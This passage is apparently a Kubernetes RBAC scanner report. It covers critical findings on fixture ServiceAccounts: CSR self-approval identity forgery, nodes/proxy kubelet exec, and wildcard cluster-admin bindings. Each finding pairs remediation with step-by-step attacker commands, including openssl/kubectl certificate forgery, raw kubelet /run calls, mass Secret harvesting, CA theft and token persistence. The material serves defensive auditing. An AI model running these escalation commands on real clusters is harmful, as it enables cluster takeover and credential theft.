  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=foothold-decoy-sa -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/rbac-fixtures/sa-cluster-admin (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both create certificatesigningrequests (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-cluster-admin -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-cluster-admin | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/rbac-fixtures/sa-cluster-admin. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/rbac-fixtures/sa-wildcard (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can both create certificatesigningrequests (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-wildcard -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-wildcard | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/rbac-fixtures/sa-wildcard. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL

get nodes/proxy enables kubelet exec via API server

KUBE-PRIVESC-012 1 subject Score 10.0
MITRE ATT&CK: T1609T1611T1078.004T1610

Affected subject

CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 10.0
get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
Scope · Cluster Cluster-wide kubelet API on every node (nodes is cluster-scoped)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy Resource: RBACRule/cr-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy can get nodes/proxy via ClusterRoleBinding crb-nodes-proxy → ClusterRole cr-nodes-proxy. Despite the read-only-sounding get verb, this permission lets the holder execute arbitrary commands inside any pod on any node by tunneling through the API server to the kubelet's internal HTTP API: /exec, /run, /attach, /portforward.

The technical root cause: pod exec uses an HTTP-to-WebSocket upgrade. The API server authorizes the upgrade based on the initial GET against the proxy subresource, not against pods/exec. So a subject with get nodes/proxy can issue kubectl get --raw '/api/v1/nodes/<node>/proxy/exec/...' and end up with an interactive shell in any container, even with no pods/exec permission anywhere.

Worse, the resulting commands execute over a direct API-server-to-kubelet WebSocket and are NOT recorded in apiserver audit logs at the objectRef/verb granularity. The audit log shows only the proxy GET. Detection requires node-level eBPF/process monitoring (Falco, Tetragon, KubeArmor), not API-server logs alone. Kubernetes issue #119640 and Stream Security have published proof-of-concept exploits.

Impact Cluster-wide remote code execution: exec into any container on any node via the kubelet API, with execution invisible to standard apiserver audit logs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
Techniquenodes/proxy → kubelet API

The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

  1. Attacker confirms the verb with kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A.
  2. They list nodes (kubectl get nodes) and pick a high-value one, typically a control-plane node or any node hosting kube-apiserver/etcd/operator pods.
  3. They issue an exec request via the proxy endpoint, e.g. kubectl get --raw '/api/v1/nodes/<node>/proxy/run/kube-system/<pod>/<container>?cmd=id', or open a WebSocket to /exec.
  4. They land in the target container with that container's privileges (host-mounts, capabilities, ServiceAccount token).
  5. From a control-plane container they read /etc/kubernetes/pki/admin.conf for cluster-admin credentials. The entire chain leaves no pods/exec audit entries.
Remediation
Remove nodes/proxy from this subject; reserve it for the API server itself and a tiny set of trusted operators that document this need.
  1. Remove the rule entirely. Application workloads never need nodes/proxy; Kubernetes documents this as a 'severe escalation hazard' in RBAC Good Practices.
  2. If a monitoring/observability stack genuinely requires it, migrate to the nodes/metrics and nodes/stats subresources, which expose telemetry without the exec endpoints.
  3. Deploy node-level runtime monitoring (Falco, Tetragon, KubeArmor) to detect kubelet /exec, /run, /attach usage at the kernel level.
  4. Verify with kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A returning no. Test the high-impact case with kubectl get --raw '/api/v1/nodes/<node>/proxy/run/...' returning 403.
Evidence
ScopeCluster
API groupscore/v1
Resourcesnodes/proxy
nodes/proxy: Direct kubelet access (bypasses API server authz)
Verbsget
Source rolecr-nodes-proxy
Inspect: kubectl get clusterrole cr-nodes-proxy -o yaml
Source bindingcrb-nodes-proxy
Inspect: kubectl get clusterrolebinding crb-nodes-proxy -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "nodes/proxy"
  ],
  "scope": "cluster",
  "source_binding": "crb-nodes-proxy",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-nodes-proxy",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get"
  ]
}
CRITICAL

Cluster-wide wildcard RBAC permissions on ServiceAccount/cert-manager/cert-manager

KUBE-PRIVESC-017 8 subjects Score 10.0

Affected subjects (8)

CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/cert-manager/cert-manager
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/cert-manager/cert-manager. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/cert-manager/cert-manager (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=cert-manager -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/cert-manager/cert-manager actually needs. Run kubectl auth can-i --list --as=cert-manager -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding cutres-deputy-cm-admin, and verify with kubectl auth can-i '*' '*' --as=cert-manager -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-detour
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/cutres/cutres-detour. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/cutres/cutres-detour (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=cutres-detour -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/cutres/cutres-detour actually needs. Run kubectl auth can-i --list --as=cutres-detour -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding cutres-detour-direct, and verify with kubectl auth can-i '*' '*' --as=cutres-detour -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-parallel
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/cutres/cutres-parallel. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
